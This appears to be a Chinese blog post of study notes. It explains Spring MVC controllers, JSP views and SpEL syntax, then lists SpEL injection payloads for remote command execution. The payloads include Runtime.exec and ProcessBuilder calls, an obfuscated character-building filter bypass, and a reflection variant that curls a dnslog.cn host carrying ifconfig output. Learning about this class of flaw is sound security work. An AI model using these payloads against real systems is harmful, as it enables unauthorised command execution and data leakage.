Spring基础


Spring相关知识

这里记录一些Spring相关的知识,有框架特性或者漏洞复现,挖掘思路或者过程等等

Spring MVC

Spring MVC中,所有的请求都有DispatcherServlet来统一处理、分发。然后借助HandlerMapping定位到处理请求的控制器(Controller)。

Controller处理完成用户请求后,返回ModelAndView对象给DispatcherServlet

img

Spring MVC实例

新建一个TestController

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping("/test")
public class TestController {

    @RequestMapping("/index")
    public String test(String input) {
        return "/WEB-INF/m1yuu/test.jsp";
    }
}

实现了一个控制器,在两层@RequestMapping的定义下,我们想要访问到test方法需要构造URL为/test/index

接着我们在/WEB-INF/m1yuu/下创建test.jsp:

<%--
  Created by IntelliJ IDEA.
  User: m1saka
  Date: 2022/4/4
  Time: 5:58 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
File in ...
</body>
</html>

运行tomcat,访问localhost:8080/你部署的位置/index/test可看到返回的是test.jsp的界面。

Spring MVC Model向View传递值

model向view传递值,主要是通过model.addAttribute将值添加进去。修改TestController:

package m1yuu.spring;

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping("/test")
public class TestController {
    @RequestMapping("/index")
    public String test(Model model){
        model.addAttribute("id", "m1yuu");
        return "/WEB-INF/m1yuu/test.jsp";
    }
}
<%--
  Created by IntelliJ IDEA.
  User: m1saka
  Date: 2022/4/4
  Time: 5:58 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
File in ...
<br> my id is ${id}
</body>
</html>

image-20220406162944627

Spring MVC 获取URL参数值

package m1yuu.spring;


import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping("/test")
public class TestController {
    @RequestMapping("/index")
    public String test(String name, Model model){
        model.addAttribute("id", "m1yuu");
        model.addAttribute("name", name);
        return "/WEB-INF/m1yuu/test.jsp";
    }
}
<%--
  Created by IntelliJ IDEA.
  User: m1saka
  Date: 2022/4/4
  Time: 5:58 下午
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
File in ...
<br> my id is ${id}
<br> my name is ${name}
</body>
</html>

运行后我们可以通过get或者post等传参方法传入参数name

image-20220406163327236

SPEL

Spel API

img

SpelExpressionParser类负责解析表达式,返回一个Expression对象

getValue()方法执行表达式,默认容器是spring本身的容器:ApplicationContext

Spel Grammer

#{}

EL使用${},而Spel则是使用#{}作为定界符。所有在大括号内的内容都被认定为表达式。

示例:

  • 引用对象: #{person}
  • 引用对象属性: #{person.name}
  • 调用对象方法: #{person.toString()}

T()

T()运算符会调用作用域的方法和常量。

例如: T(java.lang.Runtime),会返回一个java.lang.Runtime对象

Spel定义

XML

<bean id="Calc" class="org.spring.samples.Calc">
  <property name="Calc" value="#{T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")/>
</bean>

注解

public class EmailSender {
  // 这里比较特殊,如果获取属性名称,还可以使用${}
    @Value("${spring.mail.personname}")
    private String personname;
    @Value("#{systemProperties['person.region'] }")    
    private String Locale;
    //...
}

Spel用法

Class Expression

new

可以通过new在Spel中实例化对象,类需要通过全限定名进行访问。

表达式内容:

new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()

img

T()

表达式内容:

T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")

img

Bean Reference

如果已经配置上下文,则可以通过@从表中查找JavaBean

img

Variable Reference

通过EvaluationContext#setVariable()定义变量,可以在表达式中进行引用。

  • 引用变量: #variableName
  • 引用根对象: #root
  • 引用上下文对象: #this

img

如果把contextroot object设置为一个对象时,在获取的时候可以省略root对象前缀

并且在执行表达式时,Spel会在内部使用反射从根对象中获取/设置属性值。

img

User defined function

用户可以在Spel中注册自定义方法,将该方法注册到StandardEvaluationContext#registerFunction()

下面的EncodeUtils#Encode2Base64则是我自定义的方法

img

Spel注入payload

三种payload

new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()//new    this.getClass().forName("java.lang.Runtime").getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")//反射    T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app")//T()运算

一些绕过姿势:

String类动态生成字符

T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)))

反射异变

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl test.ww4ply.dnslog.cn/`ifconfig '\n' '-'`"})}

文章作者: m1yuu
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 m1yuu !
  目录